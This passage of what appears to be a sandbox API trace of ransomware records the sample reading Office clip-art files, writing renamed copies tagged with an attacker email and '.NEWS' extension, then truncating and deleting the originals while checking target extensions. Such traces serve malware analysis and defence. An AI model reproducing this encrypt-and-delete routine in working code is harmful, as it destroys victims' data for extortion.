Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.428] lstrlenW (lpString=".jpg") returned 4 [0244.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.428] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.428] lstrlenW (lpString="BD00173_.WMF") returned 12 [0244.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0244.430] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=16180) returned 1 [0244.430] CloseHandle (hObject=0x304) returned 1 [0244.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0244.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0244.431] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0244.432] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0244.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0244.432] GetLastError () returned 0x0 [0244.432] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x3f34, lpOverlapped=0x0) returned 1 [0244.480] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0244.484] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0244.484] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.485] SetEndOfFile (hFile=0x370) returned 1 [0244.485] CloseHandle (hObject=0x370) returned 1 [0244.486] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0244.486] SetEndOfFile (hFile=0x304) returned 1 [0244.494] CloseHandle (hObject=0x304) returned 1 [0244.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.496] lstrlenW (lpString=".doc") returned 4 [0244.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.496] lstrlenW (lpString=".docx") returned 5 [0244.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.496] lstrlenW (lpString=".pdf") returned 4 [0244.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.497] lstrlenW (lpString=".xls") returned 4 [0244.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.497] lstrlenW (lpString=".xlsx") returned 5 [0244.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.497] lstrlenW (lpString=".ppt") returned 4 [0244.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.497] lstrlenW (lpString=".zip") returned 4 [0244.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.497] lstrlenW (lpString=".rar") returned 4 [0244.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.498] lstrlenW (lpString=".bz2") returned 4 [0244.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.498] lstrlenW (lpString=".7z") returned 3 [0244.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.498] lstrlenW (lpString=".dbf") returned 4 [0244.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.498] lstrlenW (lpString=".1cd") returned 4 [0244.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.498] lstrlenW (lpString=".jpg") returned 4 [0244.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.499] lstrlenW (lpString=".doc") returned 4 [0244.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.499] lstrlenW (lpString=".docx") returned 5 [0244.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.499] lstrlenW (lpString=".pdf") returned 4 [0244.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.499] lstrlenW (lpString=".xls") returned 4 [0244.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.499] lstrlenW (lpString=".xlsx") returned 5 [0244.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.499] lstrlenW (lpString=".ppt") returned 4 [0244.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.500] lstrlenW (lpString=".zip") returned 4 [0244.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.500] lstrlenW (lpString=".rar") returned 4 [0244.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.500] lstrlenW (lpString=".bz2") returned 4 [0244.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.500] lstrlenW (lpString=".7z") returned 3 [0244.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.500] lstrlenW (lpString=".dbf") returned 4 [0244.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.501] lstrlenW (lpString=".1cd") returned 4 [0244.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0244.501] lstrlenW (lpString=".jpg") returned 4 [0244.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.501] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.502] lstrlenW (lpString="BD06102_.WMF") returned 12 [0244.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0244.502] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=16112) returned 1 [0244.502] CloseHandle (hObject=0x304) returned 1 [0244.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0244.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0244.504] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0244.504] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0244.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0244.505] GetLastError () returned 0x0 [0244.505] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0244.998] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0245.002] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0245.002] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.002] SetEndOfFile (hFile=0x370) returned 1 [0245.003] CloseHandle (hObject=0x370) returned 1 [0245.003] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.003] SetEndOfFile (hFile=0x304) returned 1 [0245.011] CloseHandle (hObject=0x304) returned 1 [0245.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0245.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.141] lstrlenW (lpString=".doc") returned 4 [0245.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.141] lstrlenW (lpString=".docx") returned 5 [0245.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.142] lstrlenW (lpString=".pdf") returned 4 [0245.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.142] lstrlenW (lpString=".xls") returned 4 [0245.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.142] lstrlenW (lpString=".xlsx") returned 5 [0245.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.142] lstrlenW (lpString=".ppt") returned 4 [0245.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.142] lstrlenW (lpString=".zip") returned 4 [0245.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.142] lstrlenW (lpString=".rar") returned 4 [0245.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.142] lstrlenW (lpString=".bz2") returned 4 [0245.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.143] lstrlenW (lpString=".7z") returned 3 [0245.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.143] lstrlenW (lpString=".dbf") returned 4 [0245.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.143] lstrlenW (lpString=".1cd") returned 4 [0245.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.144] lstrlenW (lpString=".jpg") returned 4 [0245.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.144] lstrlenW (lpString=".doc") returned 4 [0245.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.144] lstrlenW (lpString=".docx") returned 5 [0245.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.144] lstrlenW (lpString=".pdf") returned 4 [0245.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.144] lstrlenW (lpString=".xls") returned 4 [0245.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.145] lstrlenW (lpString=".xlsx") returned 5 [0245.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.145] lstrlenW (lpString=".ppt") returned 4 [0245.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.145] lstrlenW (lpString=".zip") returned 4 [0245.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.145] lstrlenW (lpString=".rar") returned 4 [0245.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.145] lstrlenW (lpString=".bz2") returned 4 [0245.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.145] lstrlenW (lpString=".7z") returned 3 [0245.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.146] lstrlenW (lpString=".dbf") returned 4 [0245.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.146] lstrlenW (lpString=".1cd") returned 4 [0245.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0245.147] lstrlenW (lpString=".jpg") returned 4 [0245.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.148] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.148] lstrlenW (lpString="BD08758_.WMF") returned 12 [0245.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.213] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=24320) returned 1 [0245.213] CloseHandle (hObject=0x304) returned 1 [0245.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0245.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.273] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.273] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0245.274] GetLastError () returned 0x0 [0245.274] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x5f00, lpOverlapped=0x0) returned 1 [0245.354] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0245.358] ReadFile (in: hFile=0x304, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0245.359] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.359] SetEndOfFile (hFile=0x1c0) returned 1 [0245.359] CloseHandle (hObject=0x1c0) returned 1 [0245.360] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.360] SetEndOfFile (hFile=0x304) returned 1 [0245.369] CloseHandle (hObject=0x304) returned 1 [0245.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0245.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.371] lstrlenW (lpString=".doc") returned 4 [0245.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.371] lstrlenW (lpString=".docx") returned 5 [0245.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.371] lstrlenW (lpString=".pdf") returned 4 [0245.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.371] lstrlenW (lpString=".xls") returned 4 [0245.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.372] lstrlenW (lpString=".xlsx") returned 5 [0245.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.372] lstrlenW (lpString=".ppt") returned 4 [0245.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.372] lstrlenW (lpString=".zip") returned 4 [0245.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.372] lstrlenW (lpString=".rar") returned 4 [0245.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.372] lstrlenW (lpString=".bz2") returned 4 [0245.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.373] lstrlenW (lpString=".7z") returned 3 [0245.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.373] lstrlenW (lpString=".dbf") returned 4 [0245.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.373] lstrlenW (lpString=".1cd") returned 4 [0245.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.373] lstrlenW (lpString=".jpg") returned 4 [0245.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.374] lstrlenW (lpString=".doc") returned 4 [0245.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.374] lstrlenW (lpString=".docx") returned 5 [0245.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.374] lstrlenW (lpString=".pdf") returned 4 [0245.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.374] lstrlenW (lpString=".xls") returned 4 [0245.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.374] lstrlenW (lpString=".xlsx") returned 5 [0245.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.374] lstrlenW (lpString=".ppt") returned 4 [0245.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.375] lstrlenW (lpString=".zip") returned 4 [0245.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.375] lstrlenW (lpString=".rar") returned 4 [0245.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.375] lstrlenW (lpString=".bz2") returned 4 [0245.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.375] lstrlenW (lpString=".7z") returned 3 [0245.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.375] lstrlenW (lpString=".dbf") returned 4 [0245.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.376] lstrlenW (lpString=".1cd") returned 4 [0245.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0245.376] lstrlenW (lpString=".jpg") returned 4 [0245.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.376] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.377] lstrlenW (lpString="BD09031_.WMF") returned 12 [0245.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.378] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: 